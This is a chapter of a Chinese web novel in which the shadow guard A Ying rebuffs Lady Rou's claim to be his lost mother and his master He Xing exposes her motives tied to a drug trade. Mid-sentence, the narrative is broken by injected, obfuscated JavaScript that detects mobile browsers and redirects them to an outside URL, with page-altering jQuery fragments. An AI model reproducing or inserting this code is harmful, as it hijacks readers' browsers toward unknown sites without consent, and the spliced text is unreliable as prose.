夜色浓稠如墨,将旭家山庄重重包裹。
流水丹鹤院内,只闻流水沙沙细响,以及更遥远的梆子声,在寂静中显得格外清晰。
阿影独坐窗边,并未点灯,任由清冷的月光勾勒出他沉默的侧影。
他指尖无意识地抚过小腹,那里近日来的微妙变化只有他自己知晓,像是一个揣在怀里的、随时会引爆的秘密。
他本就不知道该如何面对主人,好在贺邢被旭东以商议要事为由请去,此刻院内格外空寂。
忽然,院外传来细微的脚步声,不止一人。
“阿影大人。”
丹云的声音在门外响起,恭敬中带着谨慎,“柔夫人来访。”
阿影应了一声。
门被轻轻推开。柔夫人走了进来,身后跟着两名低眉顺目的侍女,手中捧着数个沉甸甸的锦盒。
丹云守在门边,并未入内,但也并未离开。
柔夫人今日穿了一身素雅的月白云纹锦袍,发髻间只簪了一支碧玉簪,与白日的华贵相比,显得格外柔和,甚至带着几分刻意的低调与哀婉。
她示意侍女将东西放下。锦盒开启,露出里面的百年老参,参须虬结,形态宛如人形;东海明珠颗颗圆润,足有龙眼大小,莹光流转;还有那几匹云锦苏绣,在微弱的光线下也能看出其上的缠枝牡丹纹样栩栩如生,价值不菲。
“你们都退下吧。”柔夫人轻声吩咐。
侍女们无声退去,丹云也躬身行礼,退至外间,细心地将门虚掩,留有一条缝隙,足够她在需要时能及时察觉里面的动静。
贺邢离开之前,嘱咐她要好好看着阿影,万万不可出任何闪失。
室内只剩下两人。
烛台上噼啪作响,火光跳跃,将两人的影子拉长,投在墙壁上,微微晃动。
柔夫人向前一步,目光落在阿影身上,那眼神复杂得难以形容——有虚伪的哀伤,还有一丝难以掩饰的、对于身有异样者的本能审视,最终都被一种刻意营造的慈母柔情所覆盖。
“好孩子…”
她未语泪先流,用一方丝帕轻轻按了按眼角,声音哽咽。
柔夫人走近两步,目光细细描摹着他的眉眼,眼中水光渐盈:
“孩子…你…你这些年,可曾想过自己的亲生父母?可曾怨恨过他们为何将你遗弃?”
“说来也怕你见笑,实在是让你久等了。”
“这些年,你一个人,是怎么过来的?必定吃了许多苦吧?”
她的话语里充满了暗示,
“这世上,骨肉亲情是割不断的。或许,或许你的生身父母是有天大的苦衷,又或许你是被贼人抢走的——”
阿影静立原地,身形挺拔如孤松,面对这突如其来的“关怀”和昂贵礼物,脸上没有半分动容。
他甚至连目光都未曾在那堆礼物上停留片刻。
金玉于他不过是身外之物。
“夫人言重了。”
阿影的声音平稳无波,像深潭静水,不起微澜,
“影卫生来无父无母,唯有主人。前尘往事,与我无关。”
他的冷静和拒绝像一堵冰墙,瞬间撞碎了柔夫人精心准备的戏码。
她似乎被这毫不留情的否认刺痛,情绪陡然激动起来,眼泪涌得更凶,身体微微发抖:
“不…不是这样的!你有的!你有的!”
她又上前一步,试图去抓阿影的手,指尖几乎要触碰到他冰冷的衣袖,声音里充满了戏剧性的痛苦和忏悔:
“孩子,看着我!你看看我!我…我就是你的娘亲啊!是娘对不起你!是娘亲把你弄丢了!”
然而,阿影在她指尖碰到之前,已悄无声息地后退半步,恰好避开了她的触碰。
这个动作干脆利落,带着影卫特有的警惕与疏离。
阿影抬起眼,目光终于落在柔夫人脸上,那眼神深处却只有一片冰冷的荒漠:
“夫人。”
他加重了语气,一字一句,清晰无比,“我不过是个影卫而已,您,认错人了。”
“不会错的!你的眉眼,你的轮廓,你和荟儿几乎一模一样!”
柔夫人激动地想上前抓住他的手,却被阿影不着痕迹地避开。
可她扑了个空,更是悲从中来,
“当年、当年是母亲的错,才叫贼人把你夺走,你原谅母亲可好?如今你既回来了,母亲定会补偿你,让你认祖归宗,你再不必做那刀口舔血的影卫……”
而就在柔夫人情绪激动,泪水涟涟,试图再上前一步抓住阿影的手,进一步诉说那“骨肉情深”之时——
外间突然传来丹云清晰而恭敬的通报声:“属下拜见阁主。”
什么?!!
贺邢这么快就回来了?
柔夫人像是被兜头泼了一盆冷水,所有未出口的话语都卡在了喉咙里。
她猛地一愣,惊疑不定地转头看向门口。
只见那扇本就未关严实的房门被人从外面“吱呀”一声彻底推开,带着一股不容置疑的力道。
贺邢去而复返,面无表情地站在门口,周身散发着冰冷的寒意,仿佛将外面的夜色和风霜都带了进来。
他深邃的目光如鹰隼般锐利,迅速扫过屋内,将柔夫人的泪痕、阿影的沉默尽收眼底。
柔夫人心中大惊,她万万没料到贺邢会这么快就回来,而且去而复返得如此突然,打乱了她所有的计划和情绪铺垫。
“属下拜见主人。”
阿影见到贺邢,下意识地垂下了眼眸,指尖微微蜷缩。
“嗯。”
贺邢迈步进屋,脸上挂着一层薄薄的、却不达眼底的笑意,径直走到了阿影和柔夫人之间,巧妙而彻底地隔开了两人。
他的身形挺拔,完全将阿影护在了自己的阴影之下。
“师娘深夜到访我这小院,”
贺邢开口,声音平稳,
“不知所为何事啊?竟还劳动师娘亲自送来这些?”
他的目光瞥了一眼桌上那明显价值不菲的礼物。
闻言,柔夫人迅速收敛心神,勉强挤出一个得体的笑容,语气尽量自然:
“只是担心你们初来乍到,水土不服,过来看看。”
“顺便带些薄礼,一点心意罢了。”她试图让自己的关切听起来真诚无害。
贺邢闻言,点了点头,脸上那层假笑未变,语气却不容置疑:
“原来如此,多谢师娘挂心。”
他话锋一转,看似随意却掷地有声,
“只不过,方才我过去时,师父……气急攻心,咳得厉害,甚至见了些血丝。”
“我心中担忧,正欲寻师娘,一问之下才知师娘竟在我这院子里。”
他目光落在柔夫人瞬间变得惊惶的脸上,继续道:
“师娘还是赶快过去看看吧。师父那边,怕是离不得人。”
柔夫人一听“咳血”,脸色霎时变得好看起来,也顾不得再演什么母子情深的戏码了。
她手里死死绞着丝帕,心里又惊又怒,暗骂旭东定然是又忍不住抽了那害人的长生烟,才弄至如此地步。
那东西虽利润惊人,却也真是催命的毒药!
“怎…怎么会这样!我这就去,这就去!”
她再也维持不住镇定,也顾不上再看阿影一眼,匆匆忙忙地转身离去。
待柔夫人的脚步声彻底消失在院外,贺邢脸上的假笑瞬间消失无踪。
他转过身,目光沉沉地看向垂首而立的阿影。
“怎么回事?”
贺邢的语气里带着明显的不悦,
“这么晚了,什么客都见?直接说你睡下了不行?”
他更气的是阿影不懂得推辞,明明身体不适,还要应付这些莫名其妙的人。
阿影依旧垂着眸,声音很低:“毕竟是主人的师娘,属下不敢擅自回绝。”
贺邢挑眉,语气冷了几分:
“不必顾及这些虚礼。就像你之前猜测的,这旭家地界恐怕早已被长生烟侵蚀透了。”
他眼中闪过一丝厉色,
“既然他们选择碰这害人的东西,罔顾当年惨痛的教训,那所谓的师徒情分也就到头了,不必再放在台面上惺惺作态。”
他顿了顿,语气带着一种近乎冷酷的清醒:
“我贺邢至今拜过九位师父,学过十八般武艺。”
“与旭家这点渊源,不过是诸多关系网中微不足道的一缕,看在旭家和剑阁往日情分和利益牵扯上,才给他们几分颜面。”
他看向阿影,难得地解释了几句,
“但他们若自己不要这脸面,硬要往死路上走,我也没必要拦着。”
阿影始终安静地听着,他知道自己此刻只需做一个合格的听众,没有他置喙的余地。
沉默片刻,贺邢目光重新聚焦在阿影身上,问道:
“刚才,她到底跟你说了什么?”
阿影没有犹豫,如实回答,声音平静无波:
“柔夫人说,属下是她失散多年的孩子。”
贺邢闻言,眉梢猛地一挑,眼中被更深沉的冰冷与讥诮所覆盖。
他低低地笑了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433921|184924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声,那笑声里听不出半分暖意,反而带着一种洞悉一切的嘲讽。
“哦?”
贺邢拖长了语调,指尖无意识地摩挲着腰间的玄铁扇骨,眼中居然有几分凶狠。
“她倒是会找时候认亲。早不认,晚不认,偏偏在这个节骨眼上认亲。”
“她是如何说的?痛哭流涕?诉说当年如何不得已?”
“承诺日后定会千百倍补偿于你,让你认祖归宗,享尽荣华富贵?”
阿影沉默着,默认了贺邢的猜测。
贺邢嗤笑一声,语气里的讽刺意味更浓:
“好一出情深意切、迫不得已的戏码。只可惜,演得太过,反而漏洞百出。”
他向前一步,靠近阿影,目光紧紧锁住他,
“阿影,你信吗?”
“说不准就是看你的这张脸,故意上来碰瓷的。”
阿影抬起头,那双总是平静无波的眸子里,此刻清晰地映出贺邢的身影,没有丝毫犹豫:
“属下只听主人的。”
“属下的命是主人的,与旭家、与柔夫人,从无半分瓜葛。”
其实,阿影这话是表忠心的。
影卫,不能有二心,更不能有世间的牵扯,否则如何保证忠心不变。
这句话意外地抚平了贺邢心头那莫名升起的烦躁和戾气。
贺邢周身冰冷的气息稍稍缓和,连他自己都未察觉地松了一口气。
“很好。”
贺邢颔首,语气缓和了些许,
“还算你没被她那几滴眼泪和花言巧语糊弄住。”
“阿影,我告诉你,区区旭家能给你的,我能给你十倍、百倍。”
他顿了顿,眼神变得深邃起来,“她选择在这个时机相认,无非是两个目的。”
“其一,旭家如今内外交困,长生烟之事一旦彻底败露,必将引来武林公愤乃至剿杀。”
“她想借你与我之间的关系,为旭家寻求一道护身符,甚至是将剑阁拉上他们的贼船。”
“其二,”
贺邢的指尖轻轻点向阿影的心口,目光如炬,
“她看出我待你不同,想将你彻底变成旭家安插在我身边的棋子。”
“认祖归宗?呵,不过是更方便操控你的手段罢了。一旦你点头,从此你就不再只是我的影卫,更是旭家用来牵制、甚至算计我的工具。”
贺邢的分析冰冷而残酷,却直指核心,将柔夫人那层温情脉脉的面纱撕得粉碎。
阿影静静地听着,脸上没有任何意外或受伤的表情,仿佛贺邢所说的这一切,早已是他心知肚明的答案。
他甚至微微颔首:
“属下明白。请主人放心,属下对主人忠心无二,绝不会被其所惑。”
贺邢看着他这毫不动摇的模样,心中那点残存的郁气终于消散无踪。
忽然,贺邢伸手,揉了揉阿影的头发,动作带着连自己都未察觉的柔情:
“量你也没那个胆子敢背叛我。”
“既然他们先不仁,就别怪我不义。这长生烟的毒瘤,必须彻底铲除。至于旭家……”
贺邢冷哼一声,“从此之后,桥归桥,路归路,是生是死,全看他们的命数了。”
想了想,贺邢的目光落在阿影身上:
“从现在起,你不准再单独见旭家任何人,尤其是柔夫人。”
“他们若再来纠缠,就让丹云说你去出任务了。一切有我担着。”
“是。”阿影垂首领命,没有任何异议。
贺邢满意地点点头,又瞥了一眼桌上那些礼物,眼中闪过一丝厌恶:“这些东西,看着碍眼。丹云!”
守在外间的丹云立刻应声而入:“属下在。”
“把这些东西丢到别的地方去。”贺邢吩咐。
“是。”
丹云毫不迟疑,立刻招呼其他侍女进来,手脚利落地将那些锦盒玉盅全部搬走。
屋内很快恢复了之前的整洁,仿佛柔夫人从未出现过。
贺邢这才觉得舒坦了些,他看向窗外沉沉的夜色,又回头看了看脸色依旧有些苍白的阿影,忽然道:
“折腾了半宿,饿不饿?”
阿影愣了一下,下意识地摇头,但偏偏肚子咕噜的响了一下,羞愧得阿影耳朵都红了。
贺邢笑了笑,自顾自地朝外吩咐道:
“丹云,让小厨房做碗清淡的鸡丝粥来,再配两样小菜。”
他转过身,看着有些怔忡的阿影,语气理所当然:
“你晚膳就没用多少,不吃点东西怎么行?”